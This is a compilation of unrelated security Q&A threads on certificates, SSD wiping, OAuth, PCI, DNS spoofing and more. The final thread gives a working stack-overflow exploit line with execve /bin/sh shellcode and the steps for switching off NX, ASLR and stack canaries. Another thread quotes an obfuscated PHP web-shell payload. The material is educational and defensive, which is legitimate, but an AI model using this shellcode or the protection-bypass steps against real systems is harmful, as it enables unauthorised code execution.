How to properly implement encrypted connection between two parties who trust each other with SSL? I would like to have a reliable (as in TCP) encrypted (authenticity, integrity, confidentiality) connection between program A and program B. I am the creator of both A and B. I want A to communicate only with B and vice versa. A and B have no malicious intents against each other, so if A says to B that it is A, B can trust it.

Now there are quite a few ways how to do this, including, but not limited to:

A and B have the same self-signed certificate
A and B have each their own certificate which is:

self-signed; in this case A adds B's certificate to its list of certificate authorities and vice versa
signed by the other party; I believe that each party trusts itself.
signed by me, a one-man certificate authority, using my private key.

...

Which approach is the best and why?

I am quite new to cryptography in general and I find this very confusing. I am sure that this is a problem that arises frequently in many applications, so I am sure that each approach has its pros and cons, and that quite possibly I didn't even list the best approach. I know that information security is a minefield so any advice is most welcome.

Let's compare the approaches that you are thinking of:

  A and B have the same self signed certificate.

If any party gets hold of this certificate, they can easily
masquerade as any one of the two.
In future if you want to add new communicating parties, you will have
to find a new way to identify and authenticate individual servers as
all of them will have the same certificate.

The second idea is better than the previous one but scalability depends on the kind of implementation that you use.

  A and B have each their own certificate which is:
  self-signed; in this case A adds B's certificate to its list of
  certificate authorities and vice versa

It will be a huge problem to maintain this in the future. Ever time you add a new server, you will have to add it's certificate to all the servers that you want to communicate with. If you are planning to distribute these servers separately, then it will not be a pleasant experience for your customers.

  signed by the other party; I believe that each party trusts itself.

Again you will run into problems with scalability. Adding new servers will require your existing servers to generate new certificates every time.

  signed by me, a one-man certificate authority, using my private key.

According to me this is the best solution. You will be able to achieve your initial purpose of having a secure communication and it will be easy to scale as well. Each new server will have a certificate generated by the certificate authority which is trusted by the existing servers.

If you are worried about self signed certs v/s CA certs in terms of security, you can read this answer


Replicating javascript actions from different website (XSS?) I've got html / javascript code on my site like this:

Save

I'm trying to understand if there's a way I can call this function "submitpage()" directly from another site.

I can submit POST requests from elsewhere, just wondering if javascript can be accessed similarly or not.

I can just include your javascript file on my page like this:

<script type="text/javascript" src="http://www.yourhomepage.com/xxx.js"></script>

This would allow me to reuse your submitpage() function from my page.


How client-side OAuth is secure? I want to make a static webpage, but secure it with a login.

In order to do this, I looked at this link. Basically, I want users to log in their Google account to be able to view the webpage.

But I don't understand how this is secure. Client load the whole webpage, so he can access the javascript. He will see which URL is redirected after Google login. Can't he just copy this URL directly, therefore accessing the page without logging to Google ?

Client-Side is never secure. You have to implement a way for the server to differentiate between authorized and unauthorized users.

For this, you need some server-side logic, which goes more into the realms of programming than information security.


Secure way to wipe an entire SSD? I've read some articles and they appear to suggest the idea of using the dd command to wipe an entire SSD before encrypting it. The drive in question is a Samsung 970 EVO PCIe NVMe V-NAND M.2 2280 250GB MZ-V7E250BW

Correct me if I'm wrong: SSDs maintain a layer of indirection between logical addresses and physical address, so there are risks if you do NOT wipe the entire SSD.

SSDs also don't overwrite on the same page of the modified data. Instead, they write to a new page and leave the original data untouched.

My question is, is it secure to wipe an entire SSD using dd for example:
dd if=/dev/zero of=/dev/mapper/something_to_wipe status=progress?

EDIT: A comment mentioned 7 years ago answered part of my question, I'd like a more specific answer to my question.

You do not need to delete a new SSD before enabling encryption. Deleting is only relevant in case there already is sensitive data on the drive. If you enable encryption before writing any data to the SSD, there will never be any unencrypted data on the SSD that you need to delete.

If the SSD was used before, but the data on it is not sensitive, then you can just format the SSD. There is no need to delete the SSD securely, if you don't care about the unencrypted data on it.

If there is sensitive data on the SSD that you want to securely delete, then this answer explains why it is not safe. Generally, if you want to be completely secure, set up a new encrypted SSD, transfer the data and then physically destroy the old, unencrypted SSD. There is no 100% way of wiping the whole SSD, only probabilistic attempts that would wear out your SSD anyway.


Is it possible to update the contact info (FN/LN, OU, Organization,..) of a certificate? When creating a self-signed certificate you are asked to enter some information (First Name, Last Name, Organization Unit, Organization, City, State,...). Is it possible to update any of those fields later? (E.g. my company changed its legal name and now I want to update the "Organization" name to reflect the new one.)

No, if you changed those informations on the certificate, the fingerprint changed, and the signature is invalid.
You will need to issue a new certificate.


How secure is Kee 2.0 (Firefox 57 addon) with keepass-plugin-rpc compared to LastPass? I wish to evaluate two different password security options which at first seem to be distinctly different:

a cloud-based password manager
a local (non-cloud) password manager

However, the twist is that the local password manager will be used with a browser add-on to give it functionality and convenience on a par with the cloud-based option. To make this comparison useful and practical, let's limit it to these two specific products:

KeePass with  Kee 2.0 (Firefox 57 web extension) with keepass-plugin-rpc
LastPass (web extension version, Firefox 57)

Assume any potential threats lie entirely on the Internet side and that the local machine and local network are secure.

Are these two choices similarly secure in a general sense? The knee-jerk response may be to say that KeePass is more secure simply because it is not cloud-based (and we are assuming not threat from inside the local network or physical facility).

However, my question centers on the question of to what extent does using the Firefox addon with KeePass expose the entire password database to Internet-based attacks (of any type, including phishing -- anything that originated from outside).

I assume LastPass has had much more extensive security review and probably has a team of trained professionals keeping the whole thing secure.

On the other hand, the community seems to view KeePass favorably. But what about the Kee 2.0 Firefox add-on and the RPC plugin? Do those pieces have the same level of security review?

That question is, unfortunately, mostly opinion-based. here is why:

Designing security is mostly about making choices between price, usability and security.

In your specific case, you're trying to offload that choice to "the community" (which, in itself, is a misnomer: "the community" doesn't exists any more than "the people" do). This cannot really work because, while everyone will agree on the "price" part, the balance between security and usability is specific to each case: I will not have the same requirement as you so while a specific choice might makes sense for me, it will not for you, for my father or for a coworker of mine.

The correct way to tackle this is first analyzing your situation: in your case, you have a number of potential tools that you want to use. for each combination, you need to identify the benefits and drawbacks in therms of security and usability. Once you have compiled that list, and that is the stage that no one but you can perform, you need to assign each of these items a weight. In the end, you factor these weights with each positive and negative trait and that will give you a good idea what your best choice is.


Single sign on - is this a secure way to log in? I am fiddling about with a sort of single sign on procedure.
Let's say there is site1 and site2 and both use an SSL certificate.
Users are signed in on site1.
I was wondering what the experts think of this way to let users automatically sign in on site2 that is hosted on a different server:

clicking on a link in site1 gets the url (on site2) and 2 codes from a database
site1 redirects to the url (on site2) and sends the 2 codes as a post request
Site2 checks if the page that is redirected from is really from site1 and if the combination of the codes are correct
If so site2 creates a hash and stores it in the database and sends the result back to site1
Site1 redirects to site2 and sends the hash
if the hash is in the database and was received from site1 and within a short time after creating it the user is logged in.

Is this a (fairly) secure way for a signle sign on procedure or is this horribly insecure? If the latter: where do the dangers lie?

You simply state "site 2 checks if the page that is redirected from is really site 1"... how?  There isn't a good way to do this without further information that site 1 can use to verify it's identity via a challenge from Site 2.

This also seems overly complex for passing an authentication.  All that really needs to be done, as long as Site 1 and Site 2 both communicate with each other and know each other, is for them to agree between themselves on a token and redirect the user with that token so that one site knows it is the same user that was on the other site.

Don't roll your own, use OAuth or something similar, it will allow better integration with more sites and is also a well supported and tested standard.


Exchange of encrypted files through a server I have a thing to do, that basically bases on a server that is honest but curious. Therefore I want the server to have the public key for encryption and it will encrypt files during the process of upload, and different users will be able to download their respective files and decrypt them using their private keys.

Thing is, I do not know where to start. I'm a student and it's my project, but I lack background. What I'm asking for is some directions and materials to help me learn to do it. I know already how to do keypair generation in Java, but no idea how to do the server.

Is this http://technojeeves.com/index.php/48-server-by-david-flanagan a good start? Where do I go from here?

So basically, the server will generate a key-pair for each user that signs up. It will give the user the private key, and keep the public key to encrypt anything that it receives for the user. When information is sent to the server (in plaintext) for the user to obtain, the server will encrypt the data with the public key, and when the information is downloaded, the user will decrypt the data.

A server is just a machine on a network that is providing a service (service, server... haha). Some services include file hosting (FTP servers for example), website hosting (for websites!), maybe voice servers to host common voice apps like ventrilo, mumble, teamspeak, etc. As far as what kind of server you'd need, that depends a lot on how you want to go about it.

If you are using java/javascript, you might consider using a web server of some kind, and writing some custom scripts to automatically encrypt any files uploaded through your interface. This isn't my forte either, but that's kind of what it looks like.


Does my work know im on hangouts even when i dont download anything . and use a incognito window? i get on hangouts sometimes when i got nothing goin on at work . just wanted to see if anyone could help me in knowing if my work knows im on hangouts if i dont download anything and use an incognito window . appreciate the help .

Incognito mode does nothing to obscure your network traffic, so its contents and recipient are always apparent.

Supposing that you use a HTTPS encrypted connection, the contents would theoretically be obscured... but not the recipient.  In this case they might be able to guess that you are chatting by what domains that you request information from, say a bunch of requests to hangouts.google.com.  Then again, someone would probably need to be looking.  You might be able to claim it is a side effect of simply logging into gmail.

If your employer is more draconian they might MITM all HTTPS traffic with a "in house" root certificate on their computers.  In this case they could see everything you say, and have a product that likely captures such statistics.

They may even install monitoring software on the computers that spies on what you do directly, possibly even viewing the screen or capturing keystrokes.

In summary, if it really matters, they can possibly tell, and you really should not use hangouts.

They have no idea what you do on your phone over a cellular data plan...


A term for a policy that forbids employees storing intellectualy property (e.g. Source Code) on hosted third parties services To be honest, I was not sure if this belongs to this board or Law Stack Exchange.

I am searching for a specific term that describes a policy that a company does not allow itself to share its intellectual property with third parties.
A example for this are cloud services hosted by third-parties. It can happen that start-ups use these services for storing documents, sourcecode and databases because they lack the infrastructure. Big companies however, as far as I know, usually have policies which enforce that these services must not be used for said purposes.

I tried to find this under the term "Data Security Policy" but the results do not correpond to that what I am looking for

Depending on what you are thinking of, it could be titled in one of the following ways:

Intellectual Property Policy

As the work done by employees is likely to be classified as a "trade secret", or "intellectual property" of the company, employees should be able to:

Recognize what IP belongs to the company.
Understand that IP of the company shouldn't be shared unless it's required (ex. manufacturing).
Respect the IP of other companies and holders.

See: https://wustl.edu/about/compliance-policies/intellectual-property-research-policies/intellectual-property/

See: https://www.uspto.gov/intellectual-property-ip-policy

Copyright and Intellectual Property Policy

Very much of the same thing, but extending further into the realm of copyrighted works, such as books, papers, magazines, video, and so on.

See: https://policies.yahoo.com/us/en/yahoo/ip/index.htm

Operational Data Policy

This might be what you are looking for, as data used for day to day operations could be classified as a "code base" or repository, as well as data gathered from clients.

See: https://web.archive.org/web/20160705201428/http://www.rcmvs.org/documentos/IOM_EMM/v3/V3S10_CM.pdf

Data Retention Policy

This focuses on data gathered from clients, and what is done with it. Many implement this as a "Privacy Policy". This can be found on any reputable website, or those required to have one by law.

Acceptable Usage Policy

I figured I should add this one in, as it is the over arching name for such a policy. It should lay out how corporate computing and information resources should be used by employees, and who is authorized, and who is not. There is an extensive list and examples online for this type of policy.


Is it easier to eavesdrop on Ethernet connection rather than WiFi? I heard someone say that ethernet connection is vulerable if someone can connect to your LAN, and that the traffic isn't encrypted in the way it might be if you're using WPA wifi encryption.  Is this true?  And should I stop connecting via ethernet if the connection is not encrypted?  I am connected directly to my cable modem.

The answer also depends on the physical aspect of the network configuration.

If your modem or router (or combo) is easily accessible by someone else, it is much easier to eavesdrop through Wifi, although like @VirtualJJ said, the communication is encrypted.  Because through the LAN with ethernet protocol the communication can be wide open for anyone to sniff, but the fact is you have to be able to hard connect to the network.

The wifi is more easily accessible, yes, but it is encrypted and through a strong password and perhaps extra care (SSID not broadcasting and limited power on your wireless some it does not reach much further than your appartment) it can become more secure.

BTW, VLAN is a virtual LAN which means that you can group nodes.  Usually you would group devices that need access to the same thing (same requirements) such as security devices (access control, alarm, cameras) or sales staff that needs access to a particular server.  You basically create different segments independently of the physical portion. (Very useful feature)


Anti CSRF tokens with a black box Consider an app you develop that uses something like the OWASP CSRFGuard library. What can be done to protect against XSS if the app calls a third party black box app that has no way to store and return the token when control is transferred back to your app? I may have no control over sending cookies by the black box app. The URL on the return could include a static parameter that is only known to the server, but that doesn't sound like a solid approach. Any better solutions?

It sounds like you are worried about your web server code trusting a third party library that generates content within your HTTP response. This is a very valid concern.

If all that it generates is CSRF tokens, i.e. some strings, it makes sense to add XSS protection (whitelisting chars, escaping special characters ...). This should eliminate most of the likely XSS vectors that your black-box library introduces.

On the other hand, if the library is generating JavaScript which is embedded in your response, you may want HTTPOnly cookies, to limit visibility of your DOM. In the latter case, you could also consider implementing a Content Security Policy. However, this is much harder to implement correctly. You may also want to study and log the client-side code generated by the library.


Intercept DNS query packet and send spoofed response after ARP poisoning On my network, I am able to perform ARP poisoning but only for a target machine not router. Therefore, I cannot spoof responses by intercepting router's packets and modifying them (http://lifeofpentester.blogspot.co.uk/2013/06/how-to-spoof-dns-in-kali-linux-facebook.html). What I can do though, is since all machine-router traffic is forwarded through me, I could intercept and never forward the DNS query packet to the router, and send a crafted response to the machine. Does that sound right and are there any particular Linux (Kali) tools to perform this attack?

P.S. I'm experimenting on my home network in educational purposes obviously. Ta.

You can do this using DNSchef. It is described here at the Kali Webpage. You can also find a useful documentation at the developers webpage.

When it gets more complex I suggest you to use configuration files instead of command line switches.


Do you need to check the entire md5 hash value Is there any likelyhood that two different versions of the same file will produce the same characters at the start of the hash and at the end of the hash (say, the first/last five characters) - is it really only necessary to check those characters?  Since this is routinely done by visual verification, what is the level of risk that a subtle difference would not be detected?

Yes, you do.

If you're only comparing the first and last five characters of a hash, you've effectively turned it into a 40-bit hash.  Under these conditions, a collision has a complexity of 2^20, low enough that an attacker can generate one through brute force in a second or less.  A preimage is harder, at 2^40, but dedicated hardware (eg. a GPU array) can generate it in only a few minutes.

It doesn't matter what hash algorithm you're using, either: if you're ignoring the middle of the hash, the difficulty of making the ends match doesn't depend on how long that middle is.


What are the pitfalls while generating a random number from a random data set? I am relatively new to the GPG key system and I have been been learning about the system through experimentation. I now know that while generating a random seed for the key generation, the random number is taken from either the kernel entropy (/dev/random) or pseudo-random number generator
(/dev/urandom). The pseudo random generator generates a seed of with randomness of 1 in 2^160 as given here while /dev/random is blocking.

I was thinking whether it would possible for me to generate a random number myself beforehand and then feed it to my key-generator program? Specifically,  I can take a certain amount of files (images,text, webpages etc.) from each PC in my lab and then scramble/interleave them. I can encrypt the files separately using different passwords, interleave them and decrypt them using some other password and so on. Are these methods good or do they have some flaw which is not obvious?

The files that you would be using (if used as is) would not be random, 'cause text files and web pages have a not-even distribution: letters will appear much more than anything else.

To avoid that, you said you would encrypt, decrypt, mix, etc, your files. So, you'd have a lot of work to generate some values that will be random. Well, why not use some pseudo random number generator to generate them? Blum Blum Shub is good to generate such numbers and also has a funny name.

Some others are listed in the wikipedia...

And it's better to use a already tested algorithm then try to recreate your numbers with something that you can't garantee that will end up having a random distribution. Let's say, what if all your files are similar, or somehow biased to some values? or you choose a encryption algorithm that, somehow, produces a biased result?


What is risky about international travel? I have seen guidelines which suggest that traveling overseas is particularly risky when it comes to protecting your intellectual property. I'm confused about what specifically are the factors that heighten the risk compared to staying at home.
How well does the list below describe the problems of international travel?

Technical risk factors:

laptop tampered with when passing through TSA?
evil maid attack at hotels
being compelled to enter encryption keys at border
spoofing attacks / man-in-the-middle / bad connections

Societal / structural / human risk factors:

More motivated attackers depending on the countries visited

What am I missing?

It seems that you could deal with 2. by always staying with your laptop (except at TSA) and 4. by using a VPN. And while you can't prevent 3. you would certainly know that you'd given up the key. As for 1., is that a concern at all? (I'm wondering about it because it's the one time that you have to leave your laptop out of sight.)

I'm hoping for feedback on whether the thinking above is sound and about what's missing from the list.

As for 5. there is one or two countries that are typically mentioned but how about elsewhere? And specifically for western Europe, is there any difference in risk between individual countries? I've seen comments by a former US official singling out particular countries in Western Europe as higher risk, but is it just hyperbole or is there an appreciable difference to be aware of?

It all boils down to one factor: you lose physical and direct control over the storage medium/device. Government inspection (border crossings or otherwise) and spending every minute of the day in environments that you do not control (hotels, restaurants, public spaces, etc.) that an adversary could control weaken your ability to retain or regain control over the storage media.

We could list a hundred things that could go wrong, but they all boil down to that one fundamental factor.


How to find and ban some devices from my wifi using the command line? I use Arch Linux. I just installed some packages such as nmap, netdiscover and others. It is a ubiquiti internet network, for the sharing of connection to several routers. There are about 7 routers connected to the same internet network.

How to get the list of users connected to my Wifi by using the command line, and then to block them?

After some research, I discovered a tool called Kickthemout but this tool does not work often on some devices.

I used to try with netdiscover or nmap but sometimes the result is wrong, my own smartphone is connected and I do not see it with those tools.

nmap is a port scanning tool. It will allow you to find nodes which are routable/accessible in the ranges you specify. nmap will not reveal the network configuration settings on those hosts from a port scan.

If you are within the broadcast domain you could listen for traffic going outside of the network and analyse based on MAC addresses to see which endpoints in this network segment are going through the router.

Perhaps you are asking about why you are finding devices outside of your local subnet? That just means that those addresses are routable from your router, they may not be directly connected to your local router.

I will update my answer if you modify your question to clarify.


React and NodeJS over TLS I'm running a simple NodeJS REST API and a ReactJS frontend application and I want them to communicate in a secure way over TSL. I've successfully issued a certificate (DNS challenge) from Let's Encrypt and I'm currently using it for my IIS site where the React application is running.

I now want to use this certificate in order to make communication between my frontend and backend (more) secure.

Both the clients where the frontend will be accessed from and the server where the backend is running are in the same LAN and not publicly accessible. The only thing I want to ensure is that the data is somehow securely transferred from the clients to the server. (You shouldn't be able to see the password and username just by pressing F12 in your browser, neither should a Man-in-the-Middle be able to do so)

I'm pretty much a beginner when it comes to network security/securing communication between client and server.

This looks more complex on the surface than it actually is. What you basically want to do, is secure communication between a web client and a web server over TLS. It doesn't matter which web technology is in use, because TLS happens on the transport layer and not on the application layer.

What happens under the hood? When a client wants to use your application, it requests the JavaScript files from your IIS and executes them in the local browser. Whenever the clients need information from the backend, your NodeJS REST API, it sends a HTTP request the the respective API.

This means, all you need to do, is:

Enable TLS on your API backend
Change all the URLs in the application to HTTPS

This ensures that all requests from the client to the backend are encrypted with TLS. How to set up HTTPS depends on the server you use to run the NodeJS REST API.


PCI Compliance and Card Data Transmit I have read that PCI enforces the merchants to store first six and last four digits are the maximum number of digits that may be
displayed/stored.
I am trying to find what is required in regards to Card transmission. e.g Can the customer of a website send (if he wishes) the PAN number and CC number (not hidden) but the developer store it as it is required by PCI? So, is PCI only about storage from the merchant perspective, but how the customer send it to he merchant is irrelevant?

Thank you

The issue of "sending" the card to the merchant is a little complicated. The cardholder may be allowed to "send" the card in ways that the merchant is not allowed to accept.

Compliance with PCI requirements is part of the contractual relationship a merchant enters into with a bank, called an acquirer, in order to be able to accept credit card payments.

PCI requirements include language both about PANs "at rest" (storage) and "in transit" (transmission). The ways that a merchant allows customers to provide their credit card number are subject to both at rest and in transit PCI requirements.

IOW, PCI dictates how a merchant may legitimately accept cards for payment.

For the cardholder- they have an agreement with their bank, called an "issuer"- the bank that offers them a credit line and sends them a card in the mail. Deep in the contractual terms of service that the cardholder agrees to with the issuer is language about keeping the card number secret.

The merchant-side rules are much more strict than the cardholder side rules, for reasons that have to do with risk and scale and business model.

In practical terms, for instance, a merchant is not able to advertise that they accept card numbers over email, as email is a protocol that does not comply with PCI. If a merchant receives a card number in an email, they have to purge that email from their email systems. PCI auditors ask about workflows like this in their reviews.

When I last looked, cardholder agreements did not expressly forbid sending a card number over email, though that may have changed, but in general the rules are much less explicit, and it's pretty rare for the card issuer to revoke a card from a cardholder for reasons that do not involve fraudulent spending or lack of payment. Cardholder casual misuse of a card number, leading to a replacement card is a standard workflow for issuers.


Using AES as a Stream Cipher I need to send a lot of small messages that are usually between 128 bits and 256 bits long, and each message is encrypted with a separate 128 bit AES key.  Therefore, to send each message with the key would require between 256 and 384 bits of data.  If a message is 129 bits long, it would still take 2 AES blocks to encrypt and the message size with the key would increase to 384 bits.

Because of this, I'm thinking I can increase throughput by using AES as a stream cipher.  The solution I came up with is simply to use the key to encrypt a message of all 0's with size rounded up to the nearest 128 bits, using AES and a suitable non-authenticated encryption mode like CTR.  Then, take the encrypted zeroes and XOR them with the plaintext to get a same sized ciphertext.  I realize each key may only be used once, because given the plaintext and ciphertext, the stream can be recovered, but this is not a problem in my situation because each key is only used once.  My question is, is this method secure, and does it have any other caveats such as the plaintext attack I mentioned?

CTR mode is about encrypting data by generating a key dependent pseudo-random stream and XORing it with the data; so what you describe really is CTR mode, and you don't have to to the XOR yourself. Said otherwise, by encrypting a bunch of zeros and then XORing the result with your actual data, you are just doing a needless extra XOR with zeros.

(You are highly encouraged not to try to invent encryption modes by yourself if you do not completely master the design of cryptographic modes, and the people who are qualified to perform such designs actually consider wisely that even they cannot reliably do the job properly.)

CTR mode is highly vulnerable to key reuse, so you'd better make sure that you, indeed, never reuse a key value; alternatively, you may reuse a key if you use a "sufficiently distinct IV" (since CTR works by encrypting successive values of a counter, you can get away with reusing a key as long as you do not reuse a counter value), but the IV must be known to both sender and receiver, which may be a problem in some use cases (adding an explicit IV to each message increases size; implicit IV such as message counts cannot necessarily be used if messages can be lost or receivers are stateless). Apart from that, an unauthenticated mode has the generic weakness of, indeed, not being authenticated, which can be very troublesome when there are active attackers roaming around (and scenarios with passive-only attackers tend to be unrealistic). Also, CTR mode implies no padding, so the encrypted data length is equal to the plaintext data length, which is what you want, but also means that the plaintext data length leaks -- depending on your context, this may or may not be a problem.

Within the limits expressed above, CTR mode is as good as such things can get.


Are there any KRACK-proof Wi-Fi sticks Are there any known models of wifi dongles that are immune to four way nonce replay? The point being to be able to forget patching Windows and Linux, but to protect in the networking hardware.

Is there a known model that will refuse to repeatedly replay nonce under direct command from a Windows wifi process or wpasupplicant?

Most of the CVEs associated with KRACK will only be remediated by patching the wireless client components of the OS and it is part of the OS by design. Think of it this way, why would hardware manufacturers want to recreate a process that is common to all hardware in their drivers rather than leave it to the OS?

As far as I read to date, the most mitigation that any driver update provides is for 2 of the CVEs (for example, as reported on this Revolution Wi-Fi blog post). That leaves the remaining 8 (of which only 7 are addressable by client patching).

So it is unlikely that there will ever be a "dongle" or stick that is immune to KRACK.

Let me go on to say that there was a time when hardware vendors often did provide their own wireless client/supplicant as part of the software installation, but this was because support for wireless was not yet "baked into the OS." However this meant that you needed to have software installed on the computer, which in my mind would be more troublesome than patching the OS itself.

The last holdout to provide their own wireless client utility that I am aware of was Intel, and they officially dropped support for it with Windows 10:

  Intel® PROSet/Wireless WiFi Connection Utility is not supported on Windows® 10 and is no longer installed by default on other Windows OS.


Odd PHP error referring to Fallaga Priv8 404 Shell when visiting a web site I visited a website (belonging to a large company in northern Europe) yesterday. One of their pages in the "about us" section gave me a long error with a message that started with

<?PhP
/* FALLAGA Priv8 404 Shell V 1.11 */
/* Made y Black cat */
EVaL(BAsE64_DEcODe(’Ci8qICAgICAgCuKUj+KUgeKUk+KUj+KUgeKUk+KVi+KVi+KVi+KVi+KUj+KUk+KUj+KUk+KVi+KUj+KUk+KVi+KVi+KVi+KVi+KVi+KUj+KUkwrilIPilIPilJfilJvilIPilIPilYvilYvilYvilYvilIPilIPilIPilIPilYvilIPilIPilYvilYvilYvilYvilYvilIPilIMK4pSD4pSP4pST4pSP4pST4pSj4pSB4pSB4pSz4pSB4pSb4pSD4pSD4pSX4pSB4pSb4pSj4pSB4pSB4pSz4pSB4pSB4pSr4pSD4pSP4pSB4pSB4pSz4pSB4pSTCuKUg+KUg+KUg+KUg+KUg+KUg+KUj+KUk+KUg+KUj+KUk+KUg+KUg+KUj+KUgeKUk+KUg+KUj+KUk+KUg+KUj+KUgeKUq+KUg+KUg+KUg+KUgeKUq+KUj

The total length of the gibberish-looking part was like about 126kb (or that is anyway the size of the ASCII file where I saved it).

I reported this to the company and they told me that they will take a look at it.

From client perspective though this sort of thing looks to me like an embedded reverse shell malware that somehow failed to execute properly.

The question I wanted to ask is about whether I should be concerned that my own system is hacked.

Question:

Does this sort of message something that happened purely on the server, or could it indicate that my web browser or OS is compromised?

Screen shot of the error is below. I highlighted the part copied above.

This is indeed the code for a reverse shell. The server is most likely compromised.

Web shells are not intended to harm visitors, so neither your browser nor your OS were hacked. Moreover, it seems that it didn't even load correctly.

If you have an account on the site, then do not login until the company tells you they fixed it, since the attacker could grab your credentials.

If you used the same password elsewhere, you should change it on the other sites right now.


Eavesdrop activities by government My friends country is fastly moving to Dictatorship. Currently, I am not in that country but when I try to talk to my friends, they are afraid of talking to me via Whatsapp or Skype because without any logical reason, people are sent to prisons and they are afraid that the (written or verbal) conversations are eavesdropped by the government.

When it comes to my question, is it so easy for a country to eavesdrop the conversations on internet (all the internet service providers in the country are under their control), or is it just a conspiracy theory to terrify the people?

There is only one bullet proof way to protect from sniffing which doesn't involve trust in other authorities, it is end-to-end encryption. In short this means that the encryption and the decryption must be done client side, on the device of the sender/recipient.

There are services which claim to implement such end-to-end encryption, WhatsApp for example adopted the protocol of Signal, a secure messenger with a good reputation, others did as well. If we can trust in their implementation, you get a safe communication, without the possibility to eaves-drop, even if enforced. What you cannot hide though, are the contacts you are communicating with.

So no it is not a conspiracy theory, most communication is observed at this very moment. If my live would depend on it, I would setup an email client with client-to-client encryption. The problem is that your contact must do the same, or you can trust in services that offer this kind of encryption.


Can your internet provider monitor your data (passwords, etc?) Was typing in my password into an HTTPS website when I started to wonder if my home WiFi (whether a neighbor could have hacked into and monitoring it) is secure.
When I type in
Username123
Password123

Can the internet provider see it just like that?

Was typing in my password into an HTTPS website
...
When I type in
Username123
Password123

Can the internet provider see it just like that?

Typically, no. The application-layer data you mentioned (username/password) is encrypted via Transport Layer Security (TLS) as it is passed from the application-layer to the transport layer.
In principle, only the web site to which you are sending the data can decrypt the data, because only that site has the private key associated with the public key you used to encrypt the data.
I'm putting in some caveat language like "typically" and "in principle" because there are situations where the ISP or other attacker could possible still steal this data. For example, if the ISP is performing a man-in-the-middle attack. But assuming the ISP doesn't have an signed/trusted certificate (signed certificate having a certification path leading to a one of the trusted root certification authority certificates installed on your computer) for the web site of interest your browser would (typically) alert you to the attack. And, of course, if your ISP (or other attacker) has an agent running on your local machine (or made you install their own CA certificate into your trusted CA certificate store) then all bets are off.
In principle, your ISP will only have to know the IP address of the website (network layer info) to route your data. The application-layer data (e.g., user/pass) is already encrypted via TLS at this point, so the ISP shouldn't be able to view it. However, certain other application-level data such as the domain name could still be leaked (e.g., if the certificate uses SNI) or reconstructed.


Why do I get “Cannot find bound of current function” when I overwrite the ret address of a vulnerable program? I want to exploit a stack based buffer overflow for education purposes.There is a typical function called with a parameter from main which is given as input from the program and a local buffer where the parameter is saved.Given an input such that nops+shellcode+address_shellcode i will exploit it.After debugging with gdb i found the address of the shellcode as it will pass as a parameter and right after the strcpy i examine the stack and the $ebp+8 which is the return address has succefully overwriten with the address of the shellcode.So i have what i want.But when i stepped forward the execution i got:

->shellcode_address in ?? ()

and then

Cannot find bound of current function

The return address has the value that i want. Any ideas what is happening? Also when i execute it i got a segmentation fault and i have compile it with -g -fno-stack-protector

Here is the code:

void echo(char *s, unsigned int length, long int a, short b)
{
  unsigned char len = (unsigned char) l;
  char errormsg[] = "bla bla bla\n";
  char buf[250] = "You typed: ";

  strcat(buf+11, s);

  fprintf(stdout, "%s\n", buf);

int main(int argc, char **argv)
{
  gid_t r_gid, e_gid;

  /* check arguments */
  if (argc != 2) {
    fprintf(stderr, "please provide one argument to echo\n");
    return 1;
  }

  /* clear environment */
  clearenv();
  setenv ("PATH", "/bin:/usr/bin:/usr/local/bin", 1);
  setenv ("IFS", " \t\n", 1);

  /* temporarily drop privileges */
  e_gid = getegid();
  r_gid = getgid();
  setregid(e_gid, r_gid);

  /* call the echo service */
  echo(argv[1], strlen(argv[1]), 0xbccb3423, 323);

  return 0;
}

I found out with gdb that if you overwrite 309 bytes then you will exactly overwrite the return address with the last 4 bytes of your input which is exactly what we want. So since the shell code is 45 bytes long  we want sth like :
\x90 x 260 . "shellcode" . 4bytes address (260+45+4=309)

To find the address of the first parameter of the function i run several times gdb with input a 309 bytes long string and the address was always the same: 0x5ffff648

So if i append an address(reverse order i.e:0xabcdefgh - > \xgh\xef\xcd\xab) which is higher where the parameter points to, the processor will fall in a NOP command, doing nothing until it reaches the shellcode
I end up with this:
r perl -e 'print ("\x90" x 260 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" . "\x3e\xf8\xff\x5f")'

Memory is just a huge sequence of bytes. When gdb wants to show you "where" you are, it likes to guess of what "function" the currently executed opcode is part, so that it may write it ("you are in main(), line 17"). To do that, gdb must use some extra information, such as:

symbol tables, which tell where each function begins in the executable file, and possibly their size;
debug information (added by gcc with the '-g' flag);
heuristic analysis of the code chunk, to detect the hallmarks of classic function prologue ("push %ebp; movl %esp, %ebp", aka 0x55 0x89 0xE5) and ending ("ret", 0xC3).

Your "shell code", when in RAM (in the stack), is not in a part which is mapped from the executable file (it is in the stack, instead) and, anyway, was not seen by the compiler, so it is not covered by neither symbol tables or any debugging information. It is also a quite atypical piece of code, with no prologue (the prologue is about preparing the stack so that argument can be retrieved, and the stack cleaned upon exit) and no ending either: the "shell code" does an execve() system call, so it does not care about keeping the stack clean or ever returning. Hence it is no wonder that gdb cannot find where the "function" he jumped in is supposed to begin or end.

Your segmentation fault is quite another matter. My guess is that the pages containing the stack are marked as non-executable, so when jumping to the "shell code", the kernel traps, and kills the offending process. There are several protection mechanisms related to buffer overflows in a Linux system (I assume you are using Linux):

The stack can be marked as "non executable". On x86 32-bit processors, this can be achieved with segments (a remnant from older times) or through the MMU (either with the NX bit, on machines which support it, or with some TLB ninjitsu), or both.
Address Space Layout Randomization modifies addresses of the various elements of an application, in a random way, upon each execution. This makes it much harder for the attacker to guess what will be the value he wants to store (through a buffer overflow) over the "return address" slot. The non-executable stack means that the exploit will have to jump to some existing piece of code (e.g. the libc code), not to some emplacement in the stack; ASLR moves libc around to make hit a hard target.
The code generated by the compiler may include safeguards against accepting the buffer overflow itself. Recent versions of gcc will generate some extra hidden code which verifies whether a buffer overflow occurred before doing the fateful ret. Basically, a "canary" random value is stored upon function entry just before the "return address" slot; a buffer overflow from a local variable, in order to touch the return address, would have to "go over" the canary, and (with high probability) will change its value. The code generated by gcc will check the canary, and abort the process if its value has changed, before returning from the function.

By compiling with -fno-stack-protector, you deactivate the canary code (gcc did not include the canary code in the produced executable). By using sysctl -w kernel.randmoize_va_space=0, you deactivate ASLR (machine-wide). My guess is that the first system (non-executable stack pages) is still active on your machine, hence the segfault. You could try deactivating the NX-bit handling for the stack of your executable by using the execstack command (it seems not to be part of a usual Ubuntu installation; install the "execstack" package to obtain it).


